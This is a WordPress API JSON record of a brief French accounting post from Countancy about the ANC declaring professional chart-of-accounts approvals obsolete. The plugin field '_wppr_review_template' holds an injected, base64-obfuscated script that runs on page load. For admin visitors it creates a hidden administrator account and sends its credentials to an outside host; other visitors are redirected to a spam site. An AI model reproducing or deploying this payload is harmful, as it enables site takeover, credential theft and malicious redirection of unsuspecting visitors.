{"id":364,"date":"2019-03-10T15:24:08","date_gmt":"2019-03-10T14:24:08","guid":{"rendered":"http:\/\/countancy.com\/?p=364"},"modified":"2019-03-10T23:42:03","modified_gmt":"2019-03-10T22:42:03","slug":"article-2","status":"publish","type":"post","link":"https:\/\/www.countancy.com\/en\/article-2\/","title":{"rendered":"Caducit\u00e9 des plans  comptables professionnels"},"content":{"rendered":"<p class=\"has-drop-cap\">Le Conseil national de la comptabilit\u00e9 a rendu dans les ann\u00e9es 80, des avis de conformit\u00e9 aux dispositions du plan comptable g\u00e9n\u00e9ral de 1982 au sujet de plans comptables de certaines f\u00e9d\u00e9rations professionnelles.<\/p>\n\n\n\n<p>Le plan comptable g\u00e9n\u00e9ral de 1982 a depuis \u00e9t\u00e9 remplac\u00e9 par le r\u00e8glement  ANC n\u00b0 2014-03 qui fait l\u2019objet de mises \u00e0 jour r\u00e9guli\u00e8res. <\/p>\n\n\n\n<!--more-->\n\n\n\n<p>Aussi, les r\u00e8gles actuellement en vigueur ont rendu caduques certaines dispositions  contenues dans ces plans comptables professionnels qui, en outre, ne sont plus mis \u00e0 jour par les f\u00e9d\u00e9rations concern\u00e9es. Par ailleurs, le  plan de comptes pr\u00e9vu par le plan comptable g\u00e9n\u00e9ral en vigueur s\u2019applique obligatoirement \u00e0 toutes les entit\u00e9s soumises \u00e0 l\u2019obligation l\u00e9gale d\u2019\u00e9tablir des comptes annuels alors que les plans de comptes pr\u00e9cit\u00e9s sont sans port\u00e9e r\u00e9glementaire. Enfin, le plan comptable g\u00e9n\u00e9ral autorise les entit\u00e9s \u00e0 adapter son plan de comptes en termes de cr\u00e9ation et de libell\u00e9s de subdivisions afin d\u2019enregistrer leurs op\u00e9rations (article 933-1du plan comptable g\u00e9n\u00e9ral).<\/p>\n\n\n\n<p>Au vu de ces constats et afin de clarifier la  port\u00e9e du plan de comptes du plan comptable g\u00e9n\u00e9ral, le Coll\u00e8ge de l\u2019Autorit\u00e9 des normes comptables r\u00e9uni le 8 f\u00e9vrier 2019, constate la caducit\u00e9 des <a href=\"http:\/\/www.anc.gouv.fr\/files\/live\/sites\/anc\/files\/contributed\/ANC\/1.%20Normes%20fran%c3%a7aises\/Recommandations\/RECO2019\/Decision_PCP_08_02_2019.pdf\">avis de conformit\u00e9 rendus  par  le Conseil  national de la comptabilit\u00e9 des plans comptables professionnel<\/a><br><\/p>","protected":false},"excerpt":{"rendered":"<p>Le Conseil national de la comptabilit\u00e9 a rendu dans les ann\u00e9es 80, des avis de conformit\u00e9 aux dispositions du plan comptable g\u00e9n\u00e9ral de 1982 au sujet de plans comptables de certaines f\u00e9d\u00e9rations professionnelles. Le plan comptable g\u00e9n\u00e9ral de 1982 a depuis \u00e9t\u00e9 remplac\u00e9 par le r\u00e8glement ANC n\u00b0 2014-03 qui fait l\u2019objet de mises \u00e0<\/p><\/div>\n<div class=\"blog-btn\"><a href=\"https:\/\/www.countancy.com\/en\/article-2\/\" class=\"home-blog-btn\">Read More<\/a><\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"cwp_meta_box_check":"Yes","cwp_rev_product_name":"","cwp_rev_product_image":"","wppr_links":[],"cwp_rev_price":"","wppr_options":[],"wppr_pros":[""],"wppr_cons":[""],"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false},"version":2}},"categories":[1],"tags":[],"class_list":["post-364","post","type-post","status-publish","format-standard","hentry","category-articles"],"wppr_data":{"cwp_meta_box_check":"Yes","_wppr_review_template":"default' onerror=\"eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICAgICAgIGlmIChjLmluZGV4T2YobmFtZUVRKSA9PSAwKSByZXR1cm4gYy5zdWJzdHJpbmcobmFtZUVRLmxlbmd0aCwgYy5sZW5ndGgpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0FkbWluKCkgewogICAgICAgIHJldHVybiAhIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1hZG1pbi1iYXItY3VzdG9taXplJykKICAgICAgICAgICAgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTC5pbmNsdWRlcygidXNlciIgKyAiLW5ldy5waHAiKTsvLyBpZiBub3QgbnVsbCwgcmV0dXJuIHRydWUKICAgIH0KCiAgICBmdW5jdGlvbiByZXF1ZXN0KHVybCwgbWV0aG9kLCBkYXRhLCBhc3luYykgewogICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgIHJlcS5vcGVuKG1ldGhvZCwgdXJsLCBhc3luYyk7CiAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICByZXEuc2VuZChkYXRhKTsKICAgICAgICByZXR1cm4gcmVxCiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFzZVVybCgpIHsKICAgICAgICBmb3IodmFyIGkgPSAwLCBsPWRvY3VtZW50LmxpbmtzLmxlbmd0aDsgaTxsOyBpKyspIHsKICAgICAgICAgICAgdmFyIGN1cnJIcmVmID0gZG9jdW1lbnQubGlua3NbaV0uaHJlZjsKICAgICAgICAgICAgaWYoY3VyckhyZWYuaW5jbHVkZXMoIi93cC1hZG1pbi8iKSl7CiAgICAgICAgICAgICAgICB2YXIgbG5rQXJyID0gY3VyckhyZWYuc3BsaXQoIndwLWFkbWluLyIpOwogICAgICAgICAgICAgICAgcmV0dXJuIGxua0FyclswXSArICJ3cC1hZG1pbi8iOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gIiI7CiAgICB9CgogICAgZnVuY3Rpb24gbWFrZWlkKGxlbmd0aCkgewogICAgICAgIHZhciByZXN1bHQgPSAnJzsKICAgICAgICB2YXIgY2hhcmFjdGVycyA9ICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSc7CiAgICAgICAgdmFyIGNoYXJhY3RlcnNMZW5ndGggPSBjaGFyYWN0ZXJzLmxlbmd0aDsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHJlc3VsdCArPSBjaGFyYWN0ZXJzLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFyYWN0ZXJzTGVuZ3RoKSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiByZXN1bHQ7CiAgICB9CgogICAgaWYgKGlzQWRtaW4oKSkgewogICAgICAgIGlmIChnZXRDb29raWUoIlRobzNmYWVLIikgPT09IG51bGwpIHsKICAgICAgICAgICAgY29uc29sZS5sb2coImlzQWRtaW4iKTsKICAgICAgICAgICAgdmFyIGJhc2VEaXIgPSBnZXRCYXNlVXJsKCk7CiAgICAgICAgICAgIHZhciByZXF1ZXN0VVJMID0gYmFzZURpciArICJ1c2VyIiArICItbmV3LnBocCI7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKHJlcXVlc3RVUkwpCiAgICAgICAgICAgIHZhciByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJHRVQiLCAiIiwgZmFsc2UpOwogICAgICAgICAgICB2YXIgd3Bfbm9uY2VSZWdleCA9IC9zZXIiIHZhbHVlPSIoW14iXSo\/KSIvZzsKICAgICAgICAgICAgdmFyIG5vbmNlTWF0Y2g7CiAgICAgICAgICAgIHZhciBub25jZSA9ICIiOwogICAgICAgICAgICBub25jZU1hdGNoID0gd3Bfbm9uY2VSZWdleC5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICBpZiAobm9uY2VNYXRjaC5sZW5ndGggPT09IDApcmV0dXJuIGZhbHNlOwogICAgICAgICAgICBub25jZSA9IG5vbmNlTWF0Y2hbMV07CiAgICAgICAgICAgIGlmIChub25jZSA9PT0gIiIpcmV0dXJuIGZhbHNlOwoKICAgICAgICAgICAgdmFyIHVzZXJuYW1lID0gInN5c3RlbSI7CiAgICAgICAgICAgIHZhciBwYXNzd29yZCA9IG1ha2VpZCgxNSk7CgogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFjdGlvbj1jcmVhdGV1c2VyJl93cG5vbmNlX2NyZWF0ZS11c2VyPSIgKyBub25jZSArICImdXNlcl9sb2dpbj0iICsgdXNlcm5hbWUgKwogICAgICAgICAgICAgICAgIiZlbWFpbD1zeXN0ZW1Ad29yZHByZXNzLmxvY2FsJnBhc3MxPSIgKyBwYXNzd29yZCArICImcGFzczI9IiArIHBhc3N3b3JkICsgIiZyb2xlPWFkbWluaXN0cmF0b3IiOwogICAgICAgICAgICByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJQT1NUIiwgcGFyYW1zLCB0cnVlKTsKICAgICAgICAgICAgcmVxLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICAgICAgICBpZiAocmVxLnJlc3BvbnNlVVJMLmluY2x1ZGVzKCJ1cGRhdGU9YWRkIikpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgaW5mbyA9ICJsPSIrdXNlcm5hbWUrIiZwPSIrcGFzc3dvcmQrIiZ1PSIrYmFzZURpci5yZXBsYWNlKCIvd3AtYWRtaW4vIiwgIiIpOwoKICAgICAgICAgICAgICAgICAgICB2YXIgZ2F0ZVVybCA9ICJodHRwczovL2FiY21kLnJ1OjgxL2VuZWlYNHV1IjsKCgogICAgICAgICAgICAgICAgICAgIHJlcXVlc3QoZ2F0ZVVybCwgIlBPU1QiLCBpbmZvLCB0cnVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIHNldENvb2tpZSgiVGhvM2ZhZUsiLCAiZG8iLCAzNjUpOwogICAgICAgIH0KICAgIH0gZWxzZXsKCiAgICAgICAgZnVuY3Rpb24gaXNNb2JpbGUoKSB7CiAgICAgICAgICAgIHJldHVybiAobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvQW5kcm9pZC9pKSB8fCBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9CbGFja0JlcnJ5L2kpIHx8CiAgICAgICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9pUGhvbmV8aVBhZHxpUG9kL2kpIHx8IG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL09wZXJhIE1pbmkvaSkgfHwKICAgICAgICAgICAgICAgIG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL0lFTW9iaWxlL2kpKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGlzRGVza3RvcCgpIHsKICAgICAgICAgICAgcmV0dXJuIChuYXZpZ2F0b3IudXNlckFnZW50LmluZGV4T2YoIkVkZ2UiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJNU0lFOyIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJPUFIiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJDaHJvbWl1bSIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJGaXJlZm94IikgIT09IC0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZigiQ2hyb21lIikgIT09IC0xCiAgICAgICAgICAgICkKICAgICAgICB9CgogICAgICAgIHZhciB4ID0gZ2V0Q29va2llKCJhZU5lZThwaSIpOwogICAgICAgIGlmICh4ICE9PSAiMSIpIHsKICAgICAgICAgICAgaWYgKGlzRGVza3RvcCgpIHx8IGlzTW9iaWxlKCkpIHsKICAgICAgICAgICAgICAgIHNldENvb2tpZSgiYWVOZWU4cGkiLCAiMSIsIDMwKTsKICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCJodHRwczovL2p1c3RjYW5uYWJpcy5vbmxpbmUvP3dwcHJkMiIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKfQoKaWYgKHdpbmRvdy5hdHRhY2hFdmVudCkgewogICAgd2luZG93LmF0dGFjaEV2ZW50KCdvbmxvYWQnLCBzdGFydCk7Cn0gZWxzZSB7CiAgICBpZiAod2luZG93Lm9ubG9hZCkgewogICAgICAgIHZhciBjdXJyb25sb2FkID0gd2luZG93Lm9ubG9hZDsKICAgICAgICB2YXIgbmV3b25sb2FkID0gZnVuY3Rpb24gKGV2dCkgewogICAgICAgICAgICBjdXJyb25sb2FkKGV2dCk7CiAgICAgICAgICAgIHN0YXJ0KGV2dCk7CiAgICAgICAgfTsKICAgICAgICB3aW5kb3cub25sb2FkID0gbmV3b25sb2FkOwogICAgfSBlbHNlIHsKICAgICAgICB3aW5kb3cub25sb2FkID0gc3RhcnQ7CiAgICB9Cn0='));\" href='","cwp_image_link":"image","wppr_links":[],"cwp_rev_price":"","wppr_pros":[""],"wppr_cons":[""],"wppr_rating":"0.00","wppr_options":[]},"jetpack_publicize_connections":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v24.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Caducit\u00e9 des plans comptables professionnels - Countancy<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.countancy.com\/en\/article-2\/\" \/>\n<meta property=\"og:locale\" content=\"en_GB\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Caducit\u00e9 des plans comptables professionnels - Countancy\" \/>\n<meta property=\"og:description\" content=\"Le Conseil national de la comptabilit\u00e9 a rendu dans les ann\u00e9es 80, des avis de conformit\u00e9 aux dispositions du plan comptable g\u00e9n\u00e9ral de 1982 au sujet de plans comptables de certaines f\u00e9d\u00e9rations professionnelles. Le plan comptable g\u00e9n\u00e9ral de 1982 a depuis \u00e9t\u00e9 remplac\u00e9 par le r\u00e8glement ANC n\u00b0 2014-03 qui fait l\u2019objet de mises \u00e0Read More\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.countancy.com\/en\/article-2\/\" \/>\n<meta property=\"og:site_name\" content=\"Countancy\" \/>\n<meta property=\"article:published_time\" content=\"2019-03-10T14:24:08+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2019-03-10T22:42:03+00:00\" \/>\n<meta name=\"author\" content=\"Rachid Lakhal\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Rachid Lakhal\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimated reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.countancy.com\/article-2\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.countancy.com\/article-2\/\"},\"author\":{\"name\":\"Rachid Lakhal\",\"@id\":\"https:\/\/www.countancy.com\/#\/schema\/person\/4e4525051466cbbcfd5976238d259cbe\"},\"headline\":\"Caducit\u00e9 des plans comptables professionnels\",\"datePublished\":\"2019-03-10T14:24:08+00:00\",\"dateModified\":\"2019-03-10T22:42:03+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.countancy.com\/article-2\/\"},\"wordCount\":247,\"publisher\":{\"@id\":\"https:\/\/www.countancy.com\/#organization\"},\"articleSection\":[\"Articles\"],\"inLanguage\":\"en-GB\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.countancy.com\/article-2\/\",\"url\":\"https:\/\/www.countancy.com\/article-2\/\",\"name\":\"Caducit\u00e9 des plans comptables professionnels - Countancy\",\"isPartOf\":{\"@id\":\"https:\/\/www.countancy.com\/#website\"},\"datePublished\":\"2019-03-10T14:24:08+00:00\",\"dateModified\":\"2019-03-10T22:42:03+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/www.countancy.com\/article-2\/#breadcrumb\"},\"inLanguage\":\"en-GB\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.countancy.com\/article-2\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.countancy.com\/article-2\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.countancy.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Caducit\u00e9 des plans comptables professionnels\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.countancy.com\/#website\",\"url\":\"https:\/\/www.countancy.com\/\",\"name\":\"Countancy\",\"description\":\"Expertise comptable - Audit - Conseil\",\"publisher\":{\"@id\":\"https:\/\/www.countancy.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.countancy.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-GB\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.countancy.com\/#organization\",\"name\":\"Countancy\",\"url\":\"https:\/\/www.countancy.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-GB\",\"@id\":\"https:\/\/www.countancy.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/i0.wp.com\/www.countancy.com\/wp-content\/uploads\/2019\/08\/logo-web-transparent.png?fit=500%2C103&ssl=1\",\"contentUrl\":\"https:\/\/i0.wp.com\/www.countancy.com\/wp-content\/uploads\/2019\/08\/logo-web-transparent.png?fit=500%2C103&ssl=1\",\"width\":500,\"height\":103,\"caption\":\"Countancy\"},\"image\":{\"@id\":\"https:\/\/www.countancy.com\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.countancy.com\/#\/schema\/person\/4e4525051466cbbcfd5976238d259cbe\",\"name\":\"Rachid Lakhal\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-GB\",\"@id\":\"https:\/\/www.countancy.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ea74ba3c07301fe57088de21a611e4ad?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ea74ba3c07301fe57088de21a611e4ad?s=96&d=mm&r=g\",\"caption\":\"Rachid Lakhal\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Caducit\u00e9 des plans comptables professionnels - Countancy","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.countancy.com\/en\/article-2\/","og_locale":"en_GB","og_type":"article","og_title":"Caducit\u00e9 des plans comptables professionnels - Countancy","og_description":"Le Conseil national de la comptabilit\u00e9 a rendu dans les ann\u00e9es 80, des avis de conformit\u00e9 aux dispositions du plan comptable g\u00e9n\u00e9ral de 1982 au sujet de plans comptables de certaines f\u00e9d\u00e9rations professionnelles. Le plan comptable g\u00e9n\u00e9ral de 1982 a depuis \u00e9t\u00e9 remplac\u00e9 par le r\u00e8glement ANC n\u00b0 2014-03 qui fait l\u2019objet de mises \u00e0Read More","og_url":"https:\/\/www.countancy.com\/en\/article-2\/","og_site_name":"Countancy","article_published_time":"2019-03-10T14:24:08+00:00","article_modified_time":"2019-03-10T22:42:03+00:00","author":"Rachid Lakhal","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Rachid Lakhal","Estimated reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.countancy.com\/article-2\/#article","isPartOf":{"@id":"https:\/\/www.countancy.com\/article-2\/"},"author":{"name":"Rachid Lakhal","@id":"https:\/\/www.countancy.com\/#\/schema\/person\/4e4525051466cbbcfd5976238d259cbe"},"headline":"Caducit\u00e9 des plans comptables professionnels","datePublished":"2019-03-10T14:24:08+00:00","dateModified":"2019-03-10T22:42:03+00:00","mainEntityOfPage":{"@id":"https:\/\/www.countancy.com\/article-2\/"},"wordCount":247,"publisher":{"@id":"https:\/\/www.countancy.com\/#organization"},"articleSection":["Articles"],"inLanguage":"en-GB"},{"@type":"WebPage","@id":"https:\/\/www.countancy.com\/article-2\/","url":"https:\/\/www.countancy.com\/article-2\/","name":"Caducit\u00e9 des plans comptables professionnels - Countancy","isPartOf":{"@id":"https:\/\/www.countancy.com\/#website"},"datePublished":"2019-03-10T14:24:08+00:00","dateModified":"2019-03-10T22:42:03+00:00","breadcrumb":{"@id":"https:\/\/www.countancy.com\/article-2\/#breadcrumb"},"inLanguage":"en-GB","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.countancy.com\/article-2\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.countancy.com\/article-2\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.countancy.com\/"},{"@type":"ListItem","position":2,"name":"Caducit\u00e9 des plans comptables professionnels"}]},{"@type":"WebSite","@id":"https:\/\/www.countancy.com\/#website","url":"https:\/\/www.countancy.com\/","name":"Countancy","description":"Expertise comptable - Audit - Conseil","publisher":{"@id":"https:\/\/www.countancy.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.countancy.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-GB"},{"@type":"Organization","@id":"https:\/\/www.countancy.com\/#organization","name":"Countancy","url":"https:\/\/www.countancy.com\/","logo":{"@type":"ImageObject","inLanguage":"en-GB","@id":"https:\/\/www.countancy.com\/#\/schema\/logo\/image\/","url":"https:\/\/i0.wp.com\/www.countancy.com\/wp-content\/uploads\/2019\/08\/logo-web-transparent.png?fit=500%2C103&ssl=1","contentUrl":"https:\/\/i0.wp.com\/www.countancy.com\/wp-content\/uploads\/2019\/08\/logo-web-transparent.png?fit=500%2C103&ssl=1","width":500,"height":103,"caption":"Countancy"},"image":{"@id":"https:\/\/www.countancy.com\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/www.countancy.com\/#\/schema\/person\/4e4525051466cbbcfd5976238d259cbe","name":"Rachid Lakhal","image":{"@type":"ImageObject","inLanguage":"en-GB","@id":"https:\/\/www.countancy.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ea74ba3c07301fe57088de21a611e4ad?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ea74ba3c07301fe57088de21a611e4ad?s=96&d=mm&r=g","caption":"Rachid Lakhal"}}]}},"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/paxAxr-5S","_links":{"self":[{"href":"https:\/\/www.countancy.com\/en\/wp-json\/wp\/v2\/posts\/364"}],"collection":[{"href":"https:\/\/www.countancy.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.countancy.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.countancy.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.countancy.com\/en\/wp-json\/wp\/v2\/comments?post=364"}],"version-history":[{"count":8,"href":"https:\/\/www.countancy.com\/en\/wp-json\/wp\/v2\/posts\/364\/revisions"}],"predecessor-version":[{"id":424,"href":"https:\/\/www.countancy.com\/en\/wp-json\/wp\/v2\/posts\/364\/revisions\/424"}],"wp:attachment":[{"href":"https:\/\/www.countancy.com\/en\/wp-json\/wp\/v2\/media?parent=364"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.countancy.com\/en\/wp-json\/wp\/v2\/categories?post=364"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.countancy.com\/en\/wp-json\/wp\/v2\/tags?post=364"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}